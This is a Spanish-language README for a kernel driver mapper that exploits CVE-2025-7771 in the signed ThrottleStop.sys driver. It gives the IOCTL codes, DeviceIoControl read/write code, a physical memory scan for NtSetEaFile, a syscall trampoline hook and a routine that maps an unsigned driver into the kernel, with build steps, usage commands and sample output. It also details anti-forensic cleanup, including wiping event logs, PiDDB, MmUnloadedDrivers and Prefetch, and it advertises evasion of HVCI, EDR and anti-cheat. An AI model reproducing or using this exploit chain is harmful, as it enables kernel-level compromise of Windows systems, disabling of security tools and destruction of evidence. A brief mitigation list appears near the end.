
Escalada de privilegios en el sistema desde un controlador sin firmar utilizando la vulnerabilidad de throttlestop
CVE-2025-7771 — Lectura/Escritura arbitraria de memoria física a través de los IOCTL de ThrottleStop.sys
Este proyecto se publica únicamente con fines educativos y de investigación. El objetivo es demostrar cómo un controlador de kernel firmado y de confianza puede ser utilizado como arma para la escalada de privilegios local (LPE) desde Administrador hasta SYSTEM/Kernel, evadiendo de forma efectiva las funciones de seguridad modernas de Windows, incluidas HVCI (Integridad de código impuesta por hipervisor) y Secure Boot.
No utilice esta herramienta con fines malintencionados. El autor no se hace responsable de ningún uso indebido.
ThrottleStop.sys con IOCTL de mapeo de memoria físicaEl controlador de kernel ThrottleStop.sys expone un dispositivo (\\.\ThrottleStop) accesible para cualquier Administrador local. Implementa dos IOCTL que proporcionan acceso sin restricciones a la memoria física:
#define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address
0x80006498)Input: ULONG64 PhysicalAddress (8 bytes)
Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength)
El controlador llama a MmMapIoSpace() para asignar la dirección física solicitada en el espacio virtual del kernel, copia los datos al búfer de salida y luego llama a MmUnmapIoSpace(). No se realiza ninguna validación sobre la dirección física: se puede leer cualquier dirección del espacio de direcciones físico.
0x8000649C)Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
InputBufferLength = 8 + DataSize
Output: None
Mismo mecanismo que la lectura, pero escribe datos proporcionados por el usuario en la dirección física mapeada. De nuevo, sin validación de dirección ni de rango.
El controlador fue diseñado para permitir que ThrottleStop (una utilidad de subvoltaje/limitación de la CPU) leyera y escribiera directamente MSR y registros de hardware. Los IOCTL de memoria física probablemente se añadieron para el acceso MMIO al espacio de configuración PCI o a los sensores térmicos de la CPU, pero la implementación no realiza ninguna comprobación de límites:
GENERIC_READ | GENERIC_WRITEEsto transforma un controlador legítimo de utilidad de hardware en una primitiva completa de lectura/escritura a nivel de kernel.
La cadena de explotación escala desde una cuenta de Administrador local hasta la ejecución arbitraria de código en kernel, logrando de hecho un control ring-0 a nivel de SYSTEM.
El mapeador coloca ThrottleStop.sys en %TEMP%, crea una entrada de servicio en el registro bajo HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop y lo carga mediante NtLoadDriver():
// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");
// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");
// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);
// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);
Nota: Dado que ThrottleStop.sys está firmado legítimamente, se carga incluso con HVCI/Secure Boot habilitados. La directiva CI de Windows confía en el certificado.
Con el identificador del dispositivo, el exploit puede leer/escribir cualquier dirección física del sistema:
// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);
// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr; // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);
El exploit envuelve estas operaciones en funciones auxiliares que gestionan lecturas/escrituras fragmentadas (1, 2, 4 u 8 bytes por llamada) para transferencias de longitud arbitraria.
Para ejecutar funciones arbitrarias del kernel, el exploit necesita encontrar la dirección física de un manejador de syscall del kernel. Su objetivo es NtSetEaFile (una syscall raramente supervisada):
ntoskrnl.exe en modo usuario mediante LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) y obtener la RVA de NtSetEaFileRVA & 0x1FFFFFHARDWARE\RESOURCEMAP\System Resources\Physical Memory), avanzar en pasos de 2MB y comparar bytes:for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
candidate_pa = phys_2mb + offset_in_2mb;
read_phys(candidate_pa, &first8, 8);
if (first8 == pattern_first8) // quick check
{
read_phys(candidate_pa, verify, 32); // full verify
if (memcmp(verify, pattern, 32) == 0)
{
syscall_phys_addr = candidate_pa; // found it!
// ... validate via PsGetProcessSectionBaseAddress
}
}
}
PsGetProcessSectionBaseAddress(current_pid) y verificar que la base devuelta coincide con GetModuleHandle(NULL).Una vez conocida la dirección física de NtSetEaFile, el exploit instala un trampolín de 12 bytes directamente mediante escrituras en la memoria física:
; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address> ; 48 B8 <8-byte imm64>
push rax ; 50
ret ; C3
// Install hook
unsigned char jmp_code[12] = {
0x48, 0xB8, // mov rax, imm64
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // <target address>
0x50, // push rax
0xC3 // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);
// Trigger from usermode
NtSetEaFile(args...); // → jumps to target_function in kernel!
// Restore original bytes
write_phys(syscall_phys_addr, saved_bytes, 12);
Punto clave: escribir en la página física evita las protecciones de memoria virtual de HVCI. HVCI impide las páginas virtuales
W+X, pero las escrituras en memoria física a través deMmMapIoSpaceen el controlador van directamente a la RAM.
Con la primitiva de enganche de syscall, el exploit puede llamar a cualquier función del kernel con argumentos arbitrarios:
// Allocate executable kernel memory (HVCI-compatible)
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
POOL_FLAG_NON_PAGED_EXECUTE, size, tag);
// Copy driver image to kernel pool via RtlCopyMemory
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);
// Call the driver's DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);
Esto efectivamente mapea y ejecuta un controlador sin firmar en el espacio del kernel: una escalada de privilegios completa.
Después de cargar el payload, el exploit elimina todos los rastros:
HVCI (Integridad de código impuesta por hipervisor) impide que el código sin firmar se ejecute en el espacio del kernel aplicando W^X (Write XOR Execute) en las páginas virtuales del kernel mediante la traducción de direcciones de segundo nivel (SLAT/EPT).
Este exploit evade HVCI porque:
Controlador legítimo: ThrottleStop.sys está correctamente firmado y supera la validación de CI, por lo que se carga con normalidad incluso con HVCI activo.
Físico sobre virtual: los IOCTL utilizan MmMapIoSpace(), que opera sobre direcciones físicas. Las protecciones de HVCI se aplican a nivel de la tabla de páginas virtuales y mediante EPT, pero MmMapIoSpace crea un nuevo mapeo virtual para la página física con los permisos adecuados. La escritura en la página física de la syscall modifica el contenido de la RAM al que ya apunta el mapeo virtual existente.
Pool ejecutable: el exploit asigna memoria mediante ExAllocatePool2 con POOL_FLAG_NON_PAGED_EXECUTE, una forma legítima y aprobada por HVCI de obtener memoria de kernel ejecutable. El propio kernel la utiliza para código compilado JIT y ciertas asignaciones de pool.
Sin carga de controladores sin firmar: el mapeador nunca llama a NtLoadDriver con una imagen sin firmar. En su lugar, escribe manualmente el payload en una asignación de pool del kernel ya ejecutable y llama a su punto de entrada mediante el enganche de syscall.
┌─────────────────────────────────────────────┐
│ Usermode (Admin) │
│ │
│ 1. Load ThrottleStop.sys (signed, trusted) │
│ 2. Open \\.\ThrottleStop device │
│ 3. Read/Write physical memory via IOCTLs │
└──────────────┬──────────────────────────────┘
│ DeviceIoControl
▼
┌─────────────────────────────────────────────┐
│ ThrottleStop.sys (Kernel) │
│ │
│ MmMapIoSpace(PhysAddr) → memcpy → unmap │
│ No validation, any physical address OK │
└──────────────┬──────────────────────────────┘
│ Physical Memory Write
▼
┌─────────────────────────────────────────────┐
│ NtSetEaFile Physical Page │
│ │
│ Original bytes overwritten with: │
│ mov rax, <payload>; push rax; ret │
│ │
│ → Any usermode NtSetEaFile() call now │
│ executes arbitrary kernel code │
└──────────────┬──────────────────────────────┘
│ Kernel Code Execution
▼
┌─────────────────────────────────────────────┐
│ Full Kernel Compromise │
│ │
│ • ExAllocatePool2 (executable pool) │
│ • Map unsigned driver into kernel memory │
│ • Call DriverEntry → SYSTEM-level access │
│ • Scrub all forensic artifacts │
└─────────────────────────────────────────────┘
git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# Open imxyviMapper.sln in Visual Studio
# Build → x64 Release
# Basic usage — auto-scans physical memory for syscall page
mapper.exe payload_driver.sys
# With pre-computed kernel CR3 (faster, skips scan)
mapper.exe payload_driver.sys 1AD000
[+] Driver: 45056 bytes
[*] Parsing PE...
[+] PE OK: entry=0x3040 size=0xC000
[*] Loading vulnerable driver...
[+] Driver loaded, handle=0x0000000000000094
[+] IOCTL OK
[*] Finding syscall page...
[+] Syscall page found
[*] Fixing imports...
[*] Allocating executable kernel pool (49152 bytes)...
[+] Pool allocated at: FFFFA40B7C8E0000
[*] Writing driver to kernel...
[*] Calling entry point at 0xFFFFA40B7C8E3040...
[+] Entry point returned
[*] Cleaning MmUnloadedDrivers...
[+] MmUnloadedDrivers successfully scrubbed
[*] Unloading vulnerable driver...
[+] Done
ThrottleStop.sys a la Lista de bloqueo de controladores vulnerables de MicrosoftMmMapIoSpace que apunten a direcciones físicas respaldadas por RAM desde controladores que no estén en la lista blancardmsr/wrmsr) en lugar de MmMapIoSpace sin procesarMmMapIoSpace a rangos MMIO conocidos (regiones PCI BAR, LAPIC, etc.)ThrottleStop.sys por hashEste proyecto se publica bajo la Licencia MIT con fines de investigación educativa. El marco physmeme subyacente es © 2020 xerox (Licencia MIT).
🔬 Divulgación responsable: esta vulnerabilidad fue descubierta por Demoo1337 y divulgada al proveedor. Este repositorio sirve como documentación para la comunidad de investigación en seguridad.
| Campo | Detalles |
|---|
| CVE | CVE-2025-7771 |
| Controlador | ThrottleStop.sys (incluido con ThrottleStop) |
| Proveedor | TechPowerUp / Kevin Glynn |
| Tipo | Lectura/Escritura arbitraria de memoria física |
| Impacto | Escalada de privilegios local (Admin → Kernel) |
| CVSS | 8.2 (Alto) |
| Firma | Firmado por Microsoft mediante WHQL / Attestation |
| Evasión de HVCI | ✅ Sí: el controlador está firmado legítimamente y la directiva CI lo permite |
| Artefacto | Método de limpieza |
|---|
| Caché PiDDB | Desbloquea PiDDBLock, localiza la entrada en el árbol AVL mediante RtlLookupElementGenericTableAvl, la desvincula y la elimina |
| MmUnloadedDrivers | Escanea el búfer circular de 50 entradas y pone a cero el nombre y la entrada coincidentes |
| BigPoolTable | Escanea PoolBigPageTable en busca de la VA de la asignación y pone la entrada a cero |
| Cabecera del pool | Falsifica la etiqueta POOL_HEADER por MmSt (etiqueta común del sistema) |
| Cabeceras PE | Pone a cero las cabeceras DOS/NT, el directorio de importaciones, el directorio de depuración y las secciones descartables en la asignación del kernel |
| Registro | Elimina el árbol de claves HKLM\...\Services\ThrottleStop |
| Archivo del controlador | Elimina ThrottleStop.sys de %TEMP% |
| Registros de eventos | Borra las entradas relevantes de los registros de Sistema y Seguridad |
| Prefetch / BAM | Limpia los artefactos de ShimCache, BAM (Moderador de actividad en segundo plano) y Prefetch |
| Categoría | Impacto |
|---|
| Confidencialidad | 🔴 Total: lee cualquier memoria del kernel/procesos |
| Integridad | 🔴 Total: escribe en cualquier estructura del kernel, engancha cualquier función |
| Disponibilidad | 🟡 Alta: las escrituras incorrectas provocan BSOD |
| Omisión de autenticación | 🔴 Acceso a SYSTEM desde Admin |
| Evasión de anti-cheat | 🔴 Evade el anti-cheat a nivel de kernel (EAC, BattlEye, Vanguard) |
| Evasión de EDR | 🔴 Opera por debajo de los enganches del EDR; puede desenganchar/deshabilitar herramientas de seguridad |
| HVCI | 🔴 Evadida mediante un controlador firmado legítimo |
| Secure Boot | 🔴 Evadido (el controlador tiene una firma válida) |
| Quién | Contribución |
|---|
| Demoo1337 | Descubrimiento y documentación originales de CVE-2025-7771. Ingeniería inversa de los manejadores de IOCTL de ThrottleStop.sys, identificación de la vulnerabilidad de memoria física en MmMapIoSpace y publicación del exploit de prueba de concepto inicial. Este proyecto no existiría sin su investigación. |
| xerox / IDontCode | Autor del marco physmeme utilizado como base para el mapeador de kernel, el enganche de syscall y la lógica de limpieza forense. |
| TheCruZ | Autor de kdmapper, cuyas técnicas de limpieza de la caché PiDDB y de mapeo de controladores sirvieron de base a esta implementación. |